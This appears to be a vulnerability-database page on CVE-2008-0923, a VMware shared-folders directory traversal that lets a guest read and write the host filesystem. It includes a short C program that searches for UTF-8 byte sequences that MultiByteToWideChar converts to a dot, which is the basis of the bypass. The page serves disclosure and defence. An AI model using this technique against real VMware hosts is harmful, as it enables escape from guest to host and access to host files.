Lucene search
K

VMware产品共享文件夹MultiByteToWideChar()变量目录遍历漏洞

🗓️ 27 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 42 Views

VMware产品共享文件夹MultiByteToWideChar()变量目录遍历漏洞,允许Guest系统的用户读写Host文件系统,临时解决方法包括禁用共享文件夹功

Related
Code
ReporterTitlePublishedViews
Family
Core Security
Path Traversal vulnerability in VMware's shared folders implementation
25 Feb 200800:00
coresecurity
CVE
CVE-2008-0923
26 Feb 200800:00
cve
Cvelist
CVE-2008-0923
26 Feb 200800:00
cvelist
EUVD
EUVD-2008-0930
7 Oct 202500:30
euvd
NVD
CVE-2008-0923
26 Feb 200800:44
nvd
Packet Storm
Core Security Technologies Advisory 2007.0930
25 Feb 200800:00
packetstorm
Prion
Directory traversal
26 Feb 200800:44
prion
securityvulns
VMSA-2008-0005 Updated VMware Workstation, VMware Player, VMware Server, VMware ACE, and VMware Fusion resolve critical security issues
18 Mar 200800:00
securityvulns
securityvulns
VMWare applications multiple security vulnerabilities
18 Mar 200800:00
securityvulns
UbuntuCve
CVE-2008-0923
26 Feb 200800:44
ubuntucve
Rows per page

                                                /-----------

// mbtwc.c
#include <windows.h>;
int main(int argv, char *argc[]) {
~   unsigned int i, ans;
~   unsigned char buf[200];
~   for (i=1;i;i++) {
~     memset(buf, 0, 200);
~     ans = MultiByteToWideChar(CP_UTF8, 8, &i, 4, buf, 100);
~     // 8 = MB_ERR_INVALID_CHARS
~     if (ans && (buf[0] == '.') &&   (buf[1] == 0) &&
~        ((i & 0xff) != '.'))
~       printf("%d %04x: %02x %02x %02x %02x\n", ans, i,
~             buf[0], buf[1], buf[2], buf[3]);
   }
~ }
- -----------/ 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation